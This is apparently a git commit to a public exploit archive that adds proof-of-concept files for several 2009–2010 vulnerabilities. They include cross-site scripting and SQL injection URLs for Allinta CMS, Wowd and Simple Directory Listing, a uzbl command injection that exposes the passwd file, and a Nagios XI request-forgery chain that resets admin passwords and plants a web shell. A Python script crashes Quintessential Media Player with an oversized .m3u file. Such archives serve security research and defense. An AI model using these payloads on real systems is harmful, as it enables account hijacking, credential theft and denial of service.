From 3014afc96e4537cd41f43755efc8c39eacf39b0d Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Fri, 29 Aug 2014 04:41:14 +0000 Subject: [PATCH] Updated 08_29_2014 --- files.csv | 9 +- platforms/asp/webapps/34429.txt | 19 ++++ platforms/linux/remote/34426.txt | 9 ++ platforms/linux/remote/34431.html | 142 ++++++++++++++++++++++++++++++ platforms/php/webapps/34430.txt | 9 ++ platforms/php/webapps/34432.txt | 20 +++++ platforms/php/webapps/34433.txt | 9 ++ platforms/windows/dos/34428.py | 23 +++++ 8 files changed, 239 insertions(+), 1 deletion(-) create mode 100755 platforms/asp/webapps/34429.txt create mode 100755 platforms/linux/remote/34426.txt create mode 100755 platforms/linux/remote/34431.html create mode 100755 platforms/php/webapps/34430.txt create mode 100755 platforms/php/webapps/34432.txt create mode 100755 platforms/php/webapps/34433.txt create mode 100755 platforms/windows/dos/34428.py diff --git a/files.csv b/files.csv index f71763a68..fc6f81d60 100755 --- a/files.csv +++ b/files.csv @@ -31004,4 +31004,11 @@ id,file,description,date,author,platform,type,port 34419,platforms/multiple/webapps/34419.txt,"ntopng 1.2.0 - XSS Injection",2014-08-26,"Steffen Bauch",multiple,webapps,0 34420,platforms/cgi/webapps/34420.txt,"VTLS Virtua InfoStation.cgi - SQL Injection",2014-08-26,"José Tozo",cgi,webapps,80 34421,platforms/linux/local/34421.c,"glibc Off-by-One NUL Byte gconv_translit_find Exploit",2014-08-27,"taviso and scarybeasts",linux,local,0 -34424,platforms/php/webapps/34424.txt,"WooCommerce Store Exporter 1.7.5 - SXSS and RXSS",2014-08-27,"Mike Manzotti",php,webapps,0 +34424,platforms/php/webapps/34424.txt,"WooCommerce Store Exporter 1.7.5 - Multiple XSS Vulnerabilities",2014-08-27,"Mike Manzotti",php,webapps,0 +34426,platforms/linux/remote/34426.txt,"uzbl \'uzbl-core\' \'@SELECTED_URI\' Mouse Button Bindings Command Injection Vulnerability",2010-08-05,Chuzz,linux,remote,0 +34428,platforms/windows/dos/34428.py,"Quintessential Media Player 5.0.121 '.m3u' File Buffer Overflow Vulnerability",2010-08-09,"Abhishek Lyall",windows,dos,0 +34429,platforms/asp/webapps/34429.txt,"Allinta CMS 22.07.2010 Multiple SQL Injection and Cross Site Scripting Vulnerabilities",2010-08-09,"High-Tech Bridge SA",asp,webapps,0 +34430,platforms/php/webapps/34430.txt,"Preation Eden Platform 27.7.2010 Multiple HTML Injection Vulnerabilities",2010-08-09,"High-Tech Bridge SA",php,webapps,0 +34431,platforms/linux/remote/34431.html,"Nagios XI Multiple Cross Site Request Forgery Vulnerabilities",2010-08-07,"Adam Baldwin",linux,remote,0 +34432,platforms/php/webapps/34432.txt,"Wowd 'index.html' Multiple Cross Site Scripting Vulnerabilities",2009-10-29,Lostmon,php,webapps,0 +34433,platforms/php/webapps/34433.txt,"Simple Directory Listing 2.1 'SDL2.php' Cross Site Scripting Vulnerability",2010-10-22,"Amol Naik",php,webapps,0 diff --git a/platforms/asp/webapps/34429.txt b/platforms/asp/webapps/34429.txt new file mode 100755 index 000000000..0ac62dce3 --- /dev/null +++ b/platforms/asp/webapps/34429.txt @@ -0,0 +1,19 @@ +source: http://www.securityfocus.com/bid/42320/info + +Allinta CMS is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data. + +Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. + +Allinta CMS 22.07.2010 is vulnerable; prior versions may also be affected. + +http://www.example.com/languageselect.asp?lang_URL=Default.asp%3Flang%3D&ss=x%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E&img=1 + +http://www.example.com/languageselect.asp?lang_URL=Default.asp%27};alert%28document.cookie%29;{a=%27%3Flang%3D&ss=x&img=1 + +http://www.example.com/path_to_admin/menuCodeAE.asp?m=edit&i=185%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E + +http://www.example.com/path_to_admin/faqAE.asp?m=edit&i=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E + +http://www.example.com/path_to_admin/contentAE.asp?m=edit&i=376+ANY_SQL_HERE + +http://www.example.com/path_to_admin/templatesAE.asp?m=edit&i=1+ANY_SQL_HERE diff --git a/platforms/linux/remote/34426.txt b/platforms/linux/remote/34426.txt new file mode 100755 index 000000000..fcbd6c064 --- /dev/null +++ b/platforms/linux/remote/34426.txt @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/42297/info + +uzbl 'uzbl-core' is prone to a vulnerability that lets attackers inject arbitrary commands because the application fails to adequately sanitize user-supplied input. This issue stems from an insecure default configuration setting. + +To exploit this issue, attackers must entice an unsuspecting user to click on a specially crafted URI with their middle mouse button. + +Exploiting this issue would permit remote attackers to inject and execute commands with the privileges of a user running the application. + + Test

click me with middle button
this will open a zenity dialog with your passwd file. I shouldn't be able to do this.

\ No newline at end of file diff --git a/platforms/linux/remote/34431.html b/platforms/linux/remote/34431.html new file mode 100755 index 000000000..05abade15 --- /dev/null +++ b/platforms/linux/remote/34431.html @@ -0,0 +1,142 @@ +source: http://www.securityfocus.com/bid/42322/info + +Nagios XI is prone to multiple cross-site request-forgery vulnerabilities because the application fails to properly validate HTTP requests. + +Successful exploit requires that the 'nagiosadmin' be logged into the web interface. + +Attackers can exploit these issues to gain unauthorized access to the affected application and perform certain administrative actions. + +Nagios XI 2009R1.2B is vulnerable; other versions may also be affected. + +Reset the nagiosadmin password via CSRF + +This can be useful to hijack the administrators account. + + + + +Reset the configuration manager password + +The attacker just has the victim visit the following URL. Even if the +nagios admin is not logged into the configuration admin, the attacker can… + +1. Force a password reset of the configuration manager +2. Log the nagiosadmin into the configuration manager +3. Create a simple web shell on the nagios server. + +http://www.example.com/nagiosxi/admin/credentials.php?options=1 + &update=1 + &config_admin_password=letmein1 + &subsystem_ticket=2objrv9t6glq + &config_backend_password=38ajpt + +Log into the configuration manager with previously set password + + + + +Modify nagios command to create a webshell when run + +Note the \ before the ; in our php code is what makes this possible. +Normally Nagios would not allow for a ; to be input into the command +string unless escaped. PHP will happily still execute this code despite +the \ being there. + + + + +Add a Host to make sure our command is triggered, and the web shell created. + +Yes this is a long and boring form… + + diff --git a/platforms/php/webapps/34430.txt b/platforms/php/webapps/34430.txt new file mode 100755 index 000000000..57ebda960 --- /dev/null +++ b/platforms/php/webapps/34430.txt @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/42321/info + +Preation Eden Platform is prone to multiple HTML-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in dynamically generated content. + +Successful exploits will allow attacker-supplied HTML and script code to run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or to control how the site is rendered to the user. Other attacks are also possible. + +Preation Eden Platform 27.07.2010 is vulnerable; prior versions may also be affected. + + diff --git a/platforms/php/webapps/34432.txt b/platforms/php/webapps/34432.txt new file mode 100755 index 000000000..13d63e14e --- /dev/null +++ b/platforms/php/webapps/34432.txt @@ -0,0 +1,20 @@ +source: http://www.securityfocus.com/bid/42327/info + +Wowd search client is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. + +An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. + +Wowd version 1.3.0 is vulnerable; other versions may also be affected. + +The following proof of concept is available: + +http://www.example.com:8101/wowd/index.html?search&query=a& +sortby=rank&tags=english|S0B0707656E676C6973680D02 + +http://www.example.com:8101/wowd/index.html?search&query=a +&sortby=rank&tags=english|S0B0707656E676C6973680D02, +%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E|S0B0707656E676C6973680D02 + +http://www.example.com:8101/wowd/index.html?search&page=2&q= +&sortby=rank&tags=news|S0807046E6577730D02&ctx=1995393737681%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E + diff --git a/platforms/php/webapps/34433.txt b/platforms/php/webapps/34433.txt new file mode 100755 index 000000000..36b1878be --- /dev/null +++ b/platforms/php/webapps/34433.txt @@ -0,0 +1,9 @@ +source: http://www.securityfocus.com/bid/42359/info + +Simple Directory Listing is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. + +An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. + +Simple Directory Listing 2.1 is vulnerable; other versions may also be affected. + +http://www.example.com/simpledirectorylisting/SDL2.php?cwdRelPath= '> \ No newline at end of file diff --git a/platforms/windows/dos/34428.py b/platforms/windows/dos/34428.py new file mode 100755 index 000000000..4d482542e --- /dev/null +++ b/platforms/windows/dos/34428.py @@ -0,0 +1,23 @@ +source: http://www.securityfocus.com/bid/42307/info + +Quintessential Media Player is prone to a buffer-overflow vulnerability because it fails to perform adequate boundary checks on user-supplied data. + +Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed attacks will cause denial-of-service conditions. + +Quintessential Media Player 5.0.121 is vulnerable; other versions may also be affected. + +#Quintessential Player 5.0.121 .m3u Crash POC +#vulnerble application link http://www.quinnware.com/downloads.php +#tested on XP SP2/3 +#author abhishek lyall - abhilyall[at]gmail[dot]com +#web::: http://aslitsecurity.com Blog::: http://aslitsecurity.blogspot.com +#!/usr/bin/python + +filename = "Quintessential.m3u" + + +junk = "\x41" * 5000 + +textfile = open(filename , 'w') +textfile.write(junk) +textfile.close() \ No newline at end of file